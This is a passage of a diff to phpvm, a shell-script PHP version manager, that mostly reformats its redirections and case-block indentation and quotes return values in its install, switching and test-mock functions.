                 PHP_PACKAGE_PATTERN="php"
             fi
 
-        elif command -v yum >/dev/null 2>&1; then
+        elif command -v yum > /dev/null 2>&1; then
             PKG_MANAGER="yum"
             PHP_BIN_PATH="/usr/bin"
 
@@ -290,7 +290,7 @@ detect_system() {
             fi
 
         # Arch Linux family
-        elif command -v pacman >/dev/null 2>&1; then
+        elif command -v pacman > /dev/null 2>&1; then
             PKG_MANAGER="pacman"
             PHP_BIN_PATH="/usr/bin"
 
@@ -301,7 +301,7 @@ detect_system() {
             fi
 
         # Linuxbrew as fallback
-        elif command -v brew >/dev/null 2>&1; then
+        elif command -v brew > /dev/null 2>&1; then
             PKG_MANAGER="brew"
 
             # Enhanced Linuxbrew detection
@@ -312,8 +312,8 @@ detect_system() {
                 HOMEBREW_PREFIX="/home/linuxbrew/.linuxbrew"
             elif [ -d "$HOME/.linuxbrew" ]; then
                 HOMEBREW_PREFIX="$HOME/.linuxbrew"
-            elif command -v brew >/dev/null 2>&1; then
-                HOMEBREW_PREFIX=$(brew --prefix 2>/dev/null || echo "/usr/local")
+            elif command -v brew > /dev/null 2>&1; then
+                HOMEBREW_PREFIX=$(brew --prefix 2> /dev/null || echo "/usr/local")
             else
                 HOMEBREW_PREFIX="/usr/local"
             fi
@@ -372,19 +372,19 @@ validate_php_version() {
     local version="$1"
 
     # Allow 'system' as a special case
-    [ "$version" = "system" ] && return $PHPVM_EXIT_SUCCESS
+    [ "$version" = "system" ] && return "$PHPVM_EXIT_SUCCESS"
 
     # First sanitize the input
-    if ! sanitize_input "$version" 10 >/dev/null 2>&1; then
-        return $PHPVM_EXIT_INVALID_ARG
+    if ! sanitize_input "$version" 10 > /dev/null 2>&1; then
+        return "$PHPVM_EXIT_INVALID_ARG"
     fi
 
     # Check for basic PHP version format (X.Y or X.Y.Z)
     if echo "$version" | command grep -qE '^[0-9]+\.[0-9]+(\.[0-9]+)?$'; then
-        return $PHPVM_EXIT_SUCCESS
+        return "$PHPVM_EXIT_SUCCESS"
     fi
 
-    return $PHPVM_EXIT_INVALID_ARG
+    return "$PHPVM_EXIT_INVALID_ARG"
 }
 
 # Resolve version alias to actual version number
@@ -408,7 +408,7 @@ phpvm_resolve_version() {
 
     # Check alias file first
     if [ -f "$PHPVM_DIR/alias/$input" ]; then
-        resolved=$(command cat "$PHPVM_DIR/alias/$input" 2>/dev/null | command tr -d '[:space:]')
+        resolved=$(command cat "$PHPVM_DIR/alias/$input" 2> /dev/null | command tr -d '[:space:]')
         if [ -n "$resolved" ]; then
             phpvm_debug "Resolved alias '$input' to version '$resolved'"
             echo "$resolved"
@@ -439,36 +439,36 @@ phpvm_get_latest_installed_version() {
         done
     else
         case "$PKG_MANAGER" in
-            brew)
-                if [ -d "$HOMEBREW_PREFIX/Cellar" ]; then
-                    for path in "$HOMEBREW_PREFIX/Cellar/php"*; do
-                        if [ -d "$path" ]; then
-                            version=$(basename "$path")
-                            if [ "$version" = "php" ]; then
-                                version=$(get_installed_php_version)
-                            else
-                                version=${version#php@}
-                            fi
-                            [ -n "$version" ] && versions+=("$version")
+        brew)
+            if [ -d "$HOMEBREW_PREFIX/Cellar" ]; then
+                for path in "$HOMEBREW_PREFIX/Cellar/php"*; do
+                    if [ -d "$path" ]; then
+                        version=$(basename "$path")
+                        if [ "$version" = "php" ]; then
+                            version=$(get_installed_php_version)
+                        else
+                            version=${version#php@}
                         fi
-                    done
-                fi
-                ;;
-            apt)
-                while read -r version; do
-                    versions+=("$version")
-                done < <(dpkg-query -W -f='${Package}\n' 2>/dev/null | grep -E '^php[0-9]+\.[0-9]+' | sed 's/^php//')
-                ;;
-            dnf | yum)
-                while read -r version; do
-                    versions+=("$version")
-                done < <($PKG_MANAGER list installed 2>/dev/null | grep -E 'php[0-9]+\.' | awk '{print $1}' | sed 's/^php//')
-                ;;
-            pacman)
-                while read -r version; do
-                    versions+=("$version")
-                done < <(pacman -Q 2>/dev/null | grep '^php' | awk '{print $1}' | sed 's/^php//')
-                ;;
+                        [ -n "$version" ] && versions+=("$version")
+                    fi
+                done
+            fi
+            ;;
+        apt)
+            while read -r version; do
+                versions+=("$version")
+            done < <(dpkg-query -W -f='${Package}\n' 2> /dev/null | grep -E '^php[0-9]+\.[0-9]+' | sed 's/^php//')
+            ;;
+        dnf | yum)
+            while read -r version; do
+                versions+=("$version")
+            done < <($PKG_MANAGER list installed 2> /dev/null | grep -E 'php[0-9]+\.' | awk '{print $1}' | sed 's/^php//')
+            ;;
+        pacman)
+            while read -r version; do
+                versions+=("$version")
+            done < <(pacman -Q 2> /dev/null | grep '^php' | awk '{print $1}' | sed 's/^php//')
+            ;;
         esac
     fi
 
@@ -488,10 +488,10 @@ phpvm_get_latest_installed_version() {
 # Check if Remi repository is available/enabled for RHEL/Fedora systems
 check_remi_repository() {
     # Check if Remi repository is installed
-    if command -v dnf >/dev/null 2>&1; then
-        dnf repolist enabled 2>/dev/null | grep -q remi
-    elif command -v yum >/dev/null 2>&1; then
-        yum repolist enabled 2>/dev/null | grep -q remi
+    if command -v dnf > /dev/null 2>&1; then
+        dnf repolist enabled 2> /dev/null | grep -q remi
+    elif command -v yum > /dev/null 2>&1; then
+        yum repolist enabled 2> /dev/null | grep -q remi
     else
         return 1
     fi
@@ -503,9 +503,9 @@ detect_php_availability() {
 
     case "$PKG_MANAGER" in
     dnf)
-        if dnf search "php$version" 2>/dev/null | grep -q "php$version"; then
+        if dnf search "php$version" 2> /dev/null | grep -q "php$version"; then
             return 0
-        elif dnf search "php" 2>/dev/null | grep -q "php[0-9]"; then
+        elif dnf search "php" 2> /dev/null | grep -q "php[0-9]"; then
             # Some PHP packages exist, but not the requested version
             return 2
         else
@@ -514,16 +514,16 @@ detect_php_availability() {
         fi
         ;;
     yum)
-        if yum search "php$version" 2>/dev/null | grep -q "php$version"; then
+        if yum search "php$version" 2> /dev/null | grep -q "php$version"; then
             return 0
-        elif yum search "php" 2>/dev/null | grep -q "php[0-9]"; then
+        elif yum search "php" 2> /dev/null | grep -q "php[0-9]"; then
             return 2
         else
             return 1
         fi
         ;;
     apt)
-        if apt-cache search "php$version" 2>/dev/null | grep -q "php$version"; then
+        if apt-cache search "php$version" 2> /dev/null | grep -q "php$version"; then
             return 0
         else
             return 1
@@ -637,32 +637,32 @@ install_php() {
         # Handle different Ubuntu/Debian PHP installation patterns
         if [ "$LINUX_DISTRO" = "ubuntu" ]; then
             case "$LINUX_VERSION" in
-                20.*|22.*|24.*)
-                    # Modern Ubuntu: Try php-fpm and php-cli packages
-                    if ! run_with_sudo apt-get install -y php"$version"-fpm php"$version"-cli; then
-                        # Fallback to basic php package
-                        if ! run_with_sudo apt-get install -y php"$version"; then
-                            phpvm_err "Failed to install PHP $version. You may need to add ondrej/php PPA:"
-                            phpvm_err "sudo add-apt-repository ppa:ondrej/php && sudo apt-get update"
-                            return 1
-                        fi
-                    fi
-                    ;;
-                18.*|16.*)
-                    # Older Ubuntu versions
-                    if ! run_with_sudo apt-get install -y php"$version"; then
-                        phpvm_err "Failed to install PHP $version. Package php$version may not exist."
-                        phpvm_warn "Consider upgrading Ubuntu or adding ondrej/php PPA"
-                        return 1
-                    fi
-                    ;;
-                *)
-                    # Default fallback
+            20.* | 22.* | 24.*)
+                # Modern Ubuntu: Try php-fpm and php-cli packages
+                if ! run_with_sudo apt-get install -y php"$version"-fpm php"$version"-cli; then
+                    # Fallback to basic php package
                     if ! run_with_sudo apt-get install -y php"$version"; then
-                        phpvm_err "Failed to install PHP $version. Package php$version may not exist."
+                        phpvm_err "Failed to install PHP $version. You may need to add ondrej/php PPA:"
+                        phpvm_err "sudo add-apt-repository ppa:ondrej/php && sudo apt-get update"
                         return 1
                     fi
-                    ;;
+                fi
+                ;;
+            18.* | 16.*)
+                # Older Ubuntu versions
+                if ! run_with_sudo apt-get install -y php"$version"; then
+                    phpvm_err "Failed to install PHP $version. Package php$version may not exist."
+                    phpvm_warn "Consider upgrading Ubuntu or adding ondrej/php PPA"
+                    return 1
+                fi
+                ;;
+            *)
+                # Default fallback
+                if ! run_with_sudo apt-get install -y php"$version"; then
+                    phpvm_err "Failed to install PHP $version. Package php$version may not exist."
+                    return 1
+                fi
+                ;;
             esac
         elif [ "$LINUX_DISTRO" = "debian" ]; then
             # Debian-specific installation
@@ -701,7 +701,7 @@ install_php() {
             # Some PHP packages exist, but not the requested version
             phpvm_warn "PHP $version not found, but other PHP versions are available."
             phpvm_echo "Available PHP packages:"
-            dnf search php 2>/dev/null | grep "^php[0-9]" | head -5
+            dnf search php 2> /dev/null | grep "^php[0-9]" | head -5
             phpvm_echo ""
             if ! check_remi_repository; then
                 phpvm_echo "For more PHP versions, consider enabling Remi's repository:"
@@ -785,7 +785,7 @@ install_php() {
             # Arch Linux typically has 'php' package for current version
             # Check if the requested version matches what's in the repos
             local arch_php_version
-            arch_php_version=$(pacman -Si php 2>/dev/null | command grep -E '^Version' | command awk '{print $3}' | command cut -d. -f1,2)
+            arch_php_version=$(pacman -Si php 2> /dev/null | command grep -E '^Version' | command awk '{print $3}' | command cut -d. -f1,2)
 
             if [ "$version" = "$arch_php_version" ]; then
                 # Requested version matches current Arch PHP version
@@ -797,7 +797,7 @@ install_php() {
                 # Requested version differs from what's in repos
                 phpvm_warn "PHP $version may not be available in Arch repos (current repo version: ${arch_php_version:-unknown})"
                 phpvm_warn "Trying to install php$version from AUR or alternative sources..."
-                if ! run_with_sudo pacman -S --noconfirm php"$version" 2>/dev/null; then
+                if ! run_with_sudo pacman -S --noconfirm php"$version" 2> /dev/null; then
                     phpvm_err "Failed to install PHP $version."
                     phpvm_echo "Options:"
                     phpvm_echo "  1. Install current version ($arch_php_version): phpvm install $arch_php_version"
@@ -834,7 +834,7 @@ get_installed_php_version() {
 
     # Use cached command availability or check and cache
     if [ -z "$PHPVM_CACHE_PHP_CONFIG" ]; then
-        if command -v php-config >/dev/null 2>&1; then
+        if command -v php-config > /dev/null 2>&1; then
             PHPVM_CACHE_PHP_CONFIG="available"
         else
             PHPVM_CACHE_PHP_CONFIG="unavailable"
@@ -842,7 +842,7 @@ get_installed_php_version() {
     fi
 
     if [ "$PHPVM_CACHE_PHP_CONFIG" = "available" ]; then
-        if version_output=$(php-config --version 2>/dev/null); then
+        if version_output=$(php-config --version 2> /dev/null); then
             echo "$version_output"
             return 0
         fi
@@ -850,7 +850,7 @@ get_installed_php_version() {
 
     # Use cached command availability or check and cache
     if [ -z "$PHPVM_CACHE_PHP" ]; then
-        if command -v php >/dev/null 2>&1; then
+        if command -v php > /dev/null 2>&1; then
             PHPVM_CACHE_PHP="available"
         else
             PHPVM_CACHE_PHP="unavailable"
@@ -858,7 +858,7 @@ get_installed_php_version() {
     fi
 
     if [ "$PHPVM_CACHE_PHP" = "available" ]; then
-        if version_output=$(php -v 2>/dev/null); then
+        if version_output=$(php -v 2> /dev/null); then
             echo "$version_output" | command awk '/^PHP/ {print $2}' | command head -n1
             return 0
         fi
@@ -879,7 +879,7 @@ use_php_version() {
 
     [ -z "$version" ] && {
         phpvm_err "No PHP version specified to switch."
-        return $PHPVM_EXIT_INVALID_ARG
+        return "$PHPVM_EXIT_INVALID_ARG"
     }
 
     # Resolve aliases to actual versions
@@ -888,7 +888,7 @@ use_php_version() {
     # Validate version format
     if ! validate_php_version "$version"; then
         phpvm_err "Invalid PHP version format: $version. Expected format: X.Y, X.Y.Z, or 'system'"
-        return $PHPVM_EXIT_INVALID_ARG
+        return "$PHPVM_EXIT_INVALID_ARG"
     fi
 
     # Store original PATH on first activation (enables deactivate)
@@ -899,33 +899,33 @@ use_php_version() {
     # Handle test mode specifically
     if [ "${PHPVM_TEST_MODE}" = "true" ]; then
         if [ "$version" = "system" ]; then
-            echo "system" >"$PHPVM_ACTIVE_VERSION_FILE"
+            echo "system" > "$PHPVM_ACTIVE_VERSION_FILE"
             phpvm_echo "Switched to system PHP."
-            return $PHPVM_EXIT_SUCCESS
+            return "$PHPVM_EXIT_SUCCESS"
         fi
 
         if [ -d "${TEST_PREFIX:-/tmp}/opt/homebrew/Cellar/php@$version" ]; then
-            echo "$version" >"$PHPVM_ACTIVE_VERSION_FILE"
+            echo "$version" > "$PHPVM_ACTIVE_VERSION_FILE"
             phpvm_echo "Switched to PHP $version."
-            return $PHPVM_EXIT_SUCCESS
+            return "$PHPVM_EXIT_SUCCESS"
         else
             phpvm_err "PHP version $version is not installed."
-            return $PHPVM_EXIT_NOT_INSTALLED
+            return "$PHPVM_EXIT_NOT_INSTALLED"
         fi
     fi
 
     case "$PKG_MANAGER" in
     brew)
         phpvm_debug "Unlinking any existing PHP version..."
-        brew unlink php >/dev/null 2>&1 || true
+        brew unlink php > /dev/null 2>&1 || true
         # Unlink all versioned PHP installations
         # Use a safer approach to handle potential failures in command substitution
-        if formula_list=$(brew list --formula 2>/dev/null); then
+        if formula_list=$(brew list --formula 2> /dev/null); then
             # Process the list directly without subshell to ensure all unlinks happen
             for php_formula in $(echo "$formula_list" | command grep -E '^php@[0-9]+\.[0-9]+$'); do
                 if [ -n "$php_formula" ]; then
                     phpvm_debug "Unlinking $php_formula..."
-                    brew unlink "$php_formula" >/dev/null 2>&1 || true
+                    brew unlink "$php_formula" > /dev/null 2>&1 || true
                 fi
             done
         fi
@@ -945,7 +945,7 @@ use_php_version() {
                 # macOS 12+ doesn't have built-in PHP, use Homebrew
                 if [ -d "$HOMEBREW_PREFIX/Cellar/php" ]; then
                     phpvm_debug "Linking Homebrew php formula as system default (macOS $MACOS_VERSION)..."
-                    brew link php --force --overwrite >/dev/null 2>&1 || {
+                    brew link php --force --overwrite > /dev/null 2>&1 || {
                         phpvm_err "Failed to link Homebrew php formula."
                         return 1
                     }
@@ -953,7 +953,7 @@ use_php_version() {
                     return 0
                 else
                     phpvm_warn "No system PHP available on macOS $MACOS_VERSION. Installing Homebrew PHP..."
-                    if brew install php >/dev/null 2>&1; then
+                    if brew install php > /dev/null 2>&1; then
                         phpvm_echo "Installed and switched to system PHP (Homebrew)."
                         return 0
                     else
@@ -968,13 +968,13 @@ use_php_version() {
                     return 0
                 elif [ -d "$HOMEBREW_PREFIX/Cellar/php" ]; then
                     phpvm_debug "Linking Homebrew php formula as system default..."
-                    brew link php --force --overwrite >/dev/null 2>&1 || {
+                    brew link php --force --overwrite > /dev/null 2>&1 || {
                         phpvm_err "Failed to link Homebrew php formula."
                         return 1
                     }
                     phpvm_echo "Switched to system PHP (Homebrew default)."
                     return 0
-                elif command -v php >/dev/null 2>&1; then
+                elif command -v php > /dev/null 2>&1; then
                     phpvm_echo "Switched to system PHP."
                     return 0
                 else
@@ -1014,7 +1014,7 @@ use_php_version() {
         # Linux-specific PHP switching logic
         if [ "$version" = "system" ]; then
             # Handle system PHP differently per distribution
-            if command -v update-alternatives >/dev/null 2>&1; then
+            if command -v update-alternatives > /dev/null 2>&1; then
                 # Use update-alternatives if available
                 run_with_sudo update-alternatives --auto php || {
                     phpvm_err "Failed to switch to system PHP version."
@@ -1037,7 +1037,7 @@ use_php_version() {
         fi
 
         # Version-specific switching
-        if command -v update-alternatives >/dev/null 2>&1; then
+        if command -v update-alternatives > /dev/null 2>&1; then
             # Debian/Ubuntu style with update-alternatives
             php_binary="/usr/bin/php$version"
 
@@ -1053,7 +1053,7 @@ use_php_version() {
 
             if [ -f "$php_binary" ]; then
                 # Install alternative if not already present
-                if ! update-alternatives --list php 2>/dev/null | grep -q "$php_binary"; then
+                if ! update-alternatives --list php 2> /dev/null | grep -q "$php_binary"; then
                     phpvm_debug "Installing alternative for PHP $version"
                     run_with_sudo update-alternatives --install /usr/bin/php php "$php_binary" 10 || {
                         phpvm_warn "Failed to install alternative, trying direct switch..."
@@ -1073,7 +1073,7 @@ use_php_version() {
             # Arch Linux: versions are typically managed by pacman
             if [ -x "/usr/bin/php" ]; then
                 # Check if it's the right version
-                installed_version=$(php -v 2>/dev/null | awk '/^PHP/ {print $2}' | cut -d. -f1,2)
+                installed_version=$(php -v 2> /dev/null | awk '/^PHP/ {print $2}' | cut -d. -f1,2)
                 if [ "$installed_version" = "$version" ]; then
                     phpvm_debug "PHP $version already active on Arch Linux"
                 else
@@ -1087,10 +1087,10 @@ use_php_version() {
 
         elif [ "$PKG_MANAGER" = "dnf" ] || [ "$PKG_MANAGER" = "yum" ]; then
             # RHEL/Fedora: may use alternatives or modules
-            if command -v dnf >/dev/null 2>&1 && dnf module list php >/dev/null 2>&1; then
+            if command -v dnf > /dev/null 2>&1 && dnf module list php > /dev/null 2>&1; then
                 # Try dnf modules for RHEL 8+
                 phpvm_debug "Attempting to enable PHP $version module"
-                if ! run_with_sudo dnf module enable php:$version -y; then
+                if ! run_with_sudo dnf module enable php:"$version" -y; then
                     phpvm_warn "Failed to enable PHP $version module. Trying direct binary switch..."
                 fi
             fi
@@ -1098,7 +1098,7 @@ use_php_version() {
             # Fallback to binary switching
             php_binary="/usr/bin/php$version"
             if [ -f "$php_binary" ]; then
-                if command -v update-alternatives >/dev/null 2>&1; then
+                if command -v update-alternatives > /dev/null 2>&1; then
                     run_with_sudo update-alternatives --set php "$php_binary" || {
                         phpvm_err "Failed to switch to PHP $version."
                         return 1
@@ -1148,7 +1148,7 @@ phpvm_current() {
 
     # First, check the active version file
     if [ -f "$PHPVM_ACTIVE_VERSION_FILE" ]; then
-        active_version=$(command cat "$PHPVM_ACTIVE_VERSION_FILE" 2>/dev/null | command tr -d '[:space:]')
+        active_version=$(command cat "$PHPVM_ACTIVE_VERSION_FILE" 2> /dev/null | command tr -d '[:space:]')
     fi
 
     # If we have an active version from the file, use it
@@ -1158,21 +1158,21 @@ phpvm_current() {
     fi
 
     # Fallback: Try to get version from php -v
-    if command -v php >/dev/null 2>&1; then
-        php_version=$(php -v 2>/dev/null | command head -1 | command grep -oE '[0-9]+\.[0-9]+\.[0-9]+' | command head -1)
+    if command -v php > /dev/null 2>&1; then
+        php_version=$(php -v 2> /dev/null | command head -1 | command grep -oE '[0-9]+\.[0-9]+\.[0-9]+' | command head -1)
         if [ -n "$php_version" ]; then
             # Check if this looks like a system PHP (not managed by phpvm)
             local php_path
-            php_path=$(command -v php 2>/dev/null)
+            php_path=$(command -v php 2> /dev/null)
             if [ -n "$php_path" ]; then
                 # If PHP is not in our managed paths, it's likely system PHP
                 case "$php_path" in
-                    "$PHPVM_DIR"*|"$HOMEBREW_PREFIX"/opt/php*)
-                        echo "$php_version"
-                        ;;
-                    *)
-                        echo "system"
-                        ;;
+                "$PHPVM_DIR"* | "$HOMEBREW_PREFIX"/opt/php*)
+                    echo "$php_version"
+                    ;;
+                *)
+                    echo "system"
+                    ;;
                 esac
                 return 0
             fi
@@ -1201,34 +1201,34 @@ phpvm_which() {
 
     # Handle special cases
     case "$version" in
-        none)
-            phpvm_err "No PHP version is currently active."
-            return $PHPVM_EXIT_NOT_INSTALLED
-            ;;
-        system)
-            # Find system PHP (not managed by phpvm/homebrew)
-            if [ "$OS_TYPE" = "Darwin" ]; then
-                # On macOS, system PHP is typically in /usr/bin
-                if [ -x "/usr/bin/php" ]; then
-                    php_path="/usr/bin/php"
-                fi
-            else
-                # On Linux, check common locations
-                for path in /usr/bin/php /usr/local/bin/php; do
-                    if [ -x "$path" ]; then
-                        php_path="$path"
-                        break
-                    fi
-                done
+    none)
+        phpvm_err "No PHP version is currently active."
+        return "$PHPVM_EXIT_NOT_INSTALLED"
+        ;;
+    system)
+        # Find system PHP (not managed by phpvm/homebrew)
+        if [ "$OS_TYPE" = "Darwin" ]; then
+            # On macOS, system PHP is typically in /usr/bin
+            if [ -x "/usr/bin/php" ]; then
+                php_path="/usr/bin/php"
             fi
+        else
+            # On Linux, check common locations
+            for path in /usr/bin/php /usr/local/bin/php; do
+                if [ -x "$path" ]; then
+                    php_path="$path"
+                    break
+                fi
+            done
+        fi
 
-            if [ -z "$php_path" ]; then
-                phpvm_err "System PHP not found."
-                return $PHPVM_EXIT_NOT_FOUND
-            fi
-            echo "$php_path"
-            return $PHPVM_EXIT_SUCCESS
-            ;;
+        if [ -z "$php_path" ]; then
+            phpvm_err "System PHP not found."
+            return "$PHPVM_EXIT_NOT_FOUND"
+        fi
+        echo "$php_path"
+        return "$PHPVM_EXIT_SUCCESS"
+        ;;
     esac
 
     # Handle test mode
@@ -1236,62 +1236,62 @@ phpvm_which() {
         local mock_path="${TEST_PREFIX:-/tmp}/opt/homebrew/Cellar/php@$version/bin/php"
         if [ -d "$(dirname "$mock_path")" ]; then
             echo "$mock_path"
-            return $PHPVM_EXIT_SUCCESS
+            return "$PHPVM_EXIT_SUCCESS"
         fi
     fi
 
     # Find PHP binary for specific version
     case "$PKG_MANAGER" in
-        brew)
-            # Check Homebrew paths
-            local brew_prefix="${HOMEBREW_PREFIX:-/opt/homebrew}"
-
-            # Try versioned formula first (php@8.1)
-            if [ -x "$brew_prefix/opt/php@$version/bin/php" ]; then
-                php_path="$brew_prefix/opt/php@$version/bin/php"
-            # Try unversioned formula (php) - check if it matches requested version
-            elif [ -x "$brew_prefix/opt/php/bin/php" ]; then
-                local installed_version
-                installed_version=$("$brew_prefix/opt/php/bin/php" -v 2>/dev/null | command head -1 | command grep -oE '[0-9]+\.[0-9]+' | command head -1)
-                if [ "$installed_version" = "$version" ]; then
-                    php_path="$brew_prefix/opt/php/bin/php"
-                fi
-            fi
-            ;;
-        apt)
-            # Debian/Ubuntu paths
-            if [ -x "/usr/bin/php$version" ]; then
-                php_path="/usr/bin/php$version"
+    brew)
+        # Check Homebrew paths
+        local brew_prefix="${HOMEBREW_PREFIX:-/opt/homebrew}"
+
+        # Try versioned formula first (php@8.1)
+        if [ -x "$brew_prefix/opt/php@$version/bin/php" ]; then
+            php_path="$brew_prefix/opt/php@$version/bin/php"
+        # Try unversioned formula (php) - check if it matches requested version
+        elif [ -x "$brew_prefix/opt/php/bin/php" ]; then
+            local installed_version
+            installed_version=$("$brew_prefix/opt/php/bin/php" -v 2> /dev/null | command head -1 | command grep -oE '[0-9]+\.[0-9]+' | command head -1)
+            if [ "$installed_version" = "$version" ]; then
+                php_path="$brew_prefix/opt/php/bin/php"
             fi
-            ;;
-        dnf|yum)
-            # RHEL/Fedora paths - check Remi-style paths first
-            if [ -x "/usr/bin/php$version" ]; then
-                php_path="/usr/bin/php$version"
-            elif [ -x "/usr/bin/php" ]; then
-                # Check if default php matches version
-                local installed_version
-                installed_version=$(/usr/bin/php -v 2>/dev/null | command head -1 | command grep -oE '[0-9]+\.[0-9]+' | command head -1)
-                if [ "$installed_version" = "$version" ]; then
-                    php_path="/usr/bin/php"
-                fi
+        fi
+        ;;
+    apt)
+        # Debian/Ubuntu paths
+        if [ -x "/usr/bin/php$version" ]; then
+            php_path="/usr/bin/php$version"
+        fi
+        ;;
+    dnf | yum)
+        # RHEL/Fedora paths - check Remi-style paths first
+        if [ -x "/usr/bin/php$version" ]; then
+            php_path="/usr/bin/php$version"
+        elif [ -x "/usr/bin/php" ]; then
+            # Check if default php matches version
+            local installed_version
+            installed_version=$(/usr/bin/php -v 2> /dev/null | command head -1 | command grep -oE '[0-9]+\.[0-9]+' | command head -1)
+            if [ "$installed_version" = "$version" ]; then
+                php_path="/usr/bin/php"
             fi
-            ;;
-        pacman)
-            # Arch Linux - PHP is typically just /usr/bin/php
-            if [ -x "/usr/bin/php" ]; then
-                local installed_version
-                installed_version=$(/usr/bin/php -v 2>/dev/null | command head -1 | command grep -oE '[0-9]+\.[0-9]+' | command head -1)
-                if [ "$installed_version" = "$version" ]; then
-                    php_path="/usr/bin/php"
-                fi
+        fi
+        ;;
+    pacman)
+        # Arch Linux - PHP is typically just /usr/bin/php
+        if [ -x "/usr/bin/php" ]; then
+            local installed_version
+            installed_version=$(/usr/bin/php -v 2> /dev/null | command head -1 | command grep -oE '[0-9]+\.[0-9]+' | command head -1)
+            if [ "$installed_version" = "$version" ]; then
+                php_path="/usr/bin/php"
             fi
-            ;;
+        fi
+        ;;
     esac
 
     if [ -z "$php_path" ]; then
         phpvm_err "PHP $version not found."
-        return $PHPVM_EXIT_NOT_INSTALLED
+        return "$PHPVM_EXIT_NOT_INSTALLED"
     fi
 
     echo "$php_path"
@@ -1332,16 +1332,16 @@ phpvm_deactivate() {
         local IFS=':'
         for path_entry in $PATH; do
             case "$path_entry" in
-                "$PHPVM_DIR"*|"${HOMEBREW_PREFIX:-/opt/homebrew}"/opt/php*)
-                    phpvm_debug "Removing from PATH: $path_entry"
-                    ;;
-                *)
-                    if [ -n "$new_path" ]; then
-                        new_path="$new_path:$path_entry"
-                    else
-                        new_path="$path_entry"
-                    fi
-                    ;;
+            "$PHPVM_DIR"* | "${HOMEBREW_PREFIX:-/opt/homebrew}"/opt/php*)
+                phpvm_debug "Removing from PATH: $path_entry"
+                ;;
+            *)
+                if [ -n "$new_path" ]; then
+                    new_path="$new_path:$path_entry"
+                else
+                    new_path="$path_entry"
+                fi
+                ;;
             esac
         done
         export PATH="$new_path"
@@ -1403,7 +1403,7 @@ auto_switch_php_version() {
     fi
 
     # Read and validate version from .phpvmrc
-    if ! version=$(tr -d '[:space:]' <"$phpvmrc_file" 2>/dev/null); then
+    if ! version=$(tr -d '[:space:]' < "$phpvmrc_file" 2> /dev/null); then
         phpvm_err "Failed to read $phpvmrc_file"
         return 1
     fi
@@ -1448,7 +1448,7 @@ phpvm_list_aliases() {
     for alias_file in "$PHPVM_DIR/alias"/*; do
         if [ -f "$alias_file" ]; then
             alias_name=$(basename "$alias_file")
-            alias_target=$(command cat "$alias_file" 2>/dev/null | command tr -d '[:space:]')
+            alias_target=$(command cat "$alias_file" 2> /dev/null | command tr -d '[:space:]')
             if [ -n "$pattern" ]; then
                 if echo "$alias_name" | command grep -qi "$pattern"; then
                     echo "  $alias_name -> $alias_target"
@@ -1543,7 +1543,7 @@ list_installed_versions() {
         phpvm_warn "No active PHP version set."
     fi
 
-    if phpvm_list_aliases >/dev/null 2>&1; then
+    if phpvm_list_aliases > /dev/null 2>&1; then
         echo ""
         phpvm_echo "Aliases:"
         phpvm_list_aliases || true
@@ -1552,7 +1552,7 @@ list_installed_versions() {
 
 # Print help message
 print_help() {
-    cat <<EOF
+    cat << EOF
 phpvm - PHP Version Manager
 
 Usage:
@@ -1601,7 +1601,7 @@ EOF
 
 # Print version information
 print_version() {
-    cat <<EOF
+    cat << EOF
 phpvm version $PHPVM_VERSION
 
 PHP Version Manager for macOS and Linux
@@ -1629,10 +1629,10 @@ print_system_info() {
         echo "macOS Major: ${MACOS_MAJOR:-Unknown}"
         echo "macOS Minor: ${MACOS_MINOR:-Unknown}"
 
-        if command -v brew >/dev/null 2>&1; then
+        if command -v brew > /dev/null 2>&1; then
             echo "Homebrew: Installed"
             echo "Homebrew Prefix: ${HOMEBREW_PREFIX:-Unknown}"
-            echo "Homebrew Version: $(brew --version 2>/dev/null | head -1 || echo 'Unknown')"
+            echo "Homebrew Version: $(brew --version 2> /dev/null | head -1 || echo 'Unknown')"
         else
             echo "Homebrew: Not installed"
         fi
@@ -1646,27 +1646,27 @@ print_system_info() {
 
         echo ""
         echo "Available Package Managers:"
-        command -v apt-get >/dev/null 2>&1 && echo "  - apt-get: Available"
-        command -v dnf >/dev/null 2>&1 && echo "  - dnf: Available"
-        command -v yum >/dev/null 2>&1 && echo "  - yum: Available"
-        command -v pacman >/dev/null 2>&1 && echo "  - pacman: Available"
-        command -v brew >/dev/null 2>&1 && echo "  - brew (Linuxbrew): Available"
+        command -v apt-get > /dev/null 2>&1 && echo "  - apt-get: Available"
+        command -v dnf > /dev/null 2>&1 && echo "  - dnf: Available"
+        command -v yum > /dev/null 2>&1 && echo "  - yum: Available"
+        command -v pacman > /dev/null 2>&1 && echo "  - pacman: Available"
+        command -v brew > /dev/null 2>&1 && echo "  - brew (Linuxbrew): Available"
 
-        if command -v update-alternatives >/dev/null 2>&1; then
+        if command -v update-alternatives > /dev/null 2>&1; then
             echo "  - update-alternatives: Available"
         fi
     fi
 
     echo ""
     echo "PHP Information:"
-    if command -v php >/dev/null 2>&1; then
-        echo "Current PHP: $(php -v 2>/dev/null | head -1 || echo 'Error getting version')"
+    if command -v php > /dev/null 2>&1; then
+        echo "Current PHP: $(php -v 2> /dev/null | head -1 || echo 'Error getting version')"
         echo "PHP Binary: $(command -v php)"
     else
         echo "Current PHP: Not installed or not in PATH"
     fi
 
-    if command -v php-config >/dev/null 2>&1; then
+    if command -v php-config > /dev/null 2>&1; then
         echo "PHP Config: Available"
     else
         echo "PHP Config: Not available"
@@ -1714,7 +1714,7 @@ run_tests() {
     PATH="$MOCK_BIN_DIR:$PATH"
 
     # Mock brew command
-    cat >"$MOCK_BIN_DIR/brew" <<'EOF'
+    cat > "$MOCK_BIN_DIR/brew" << 'EOF'
 #!/bin/sh
 if [ "$1" = "--prefix" ]; then
     echo "/opt/homebrew"
@@ -1738,7 +1738,7 @@ EOF
     chmod +x "$MOCK_BIN_DIR/brew"
 
     # Mock uname command
-    cat >"$MOCK_BIN_DIR/uname" <<'EOF'
+    cat > "$MOCK_BIN_DIR/uname" << 'EOF'
 #!/bin/sh
 echo "Darwin"
 exit 0
@@ -1746,7 +1746,7 @@ EOF
     chmod +x "$MOCK_BIN_DIR/uname"
 
     # Mock php and php-config commands
-    cat >"$MOCK_BIN_DIR/php" <<'EOF'
+    cat > "$MOCK_BIN_DIR/php" << 'EOF'
 #!/bin/sh
 if [ "$1" = "-v" ]; then
     echo "PHP 8.0.0 (cli)"
@@ -1755,7 +1755,7 @@ exit 0
 EOF
     chmod +x "$MOCK_BIN_DIR/php"
 
-    cat >"$MOCK_BIN_DIR/php-config" <<'EOF'
+    cat > "$MOCK_BIN_DIR/php-config" << 'EOF'
 #!/bin/sh
 if [ "$1" = "--version" ]; then
     echo "8.0.0"
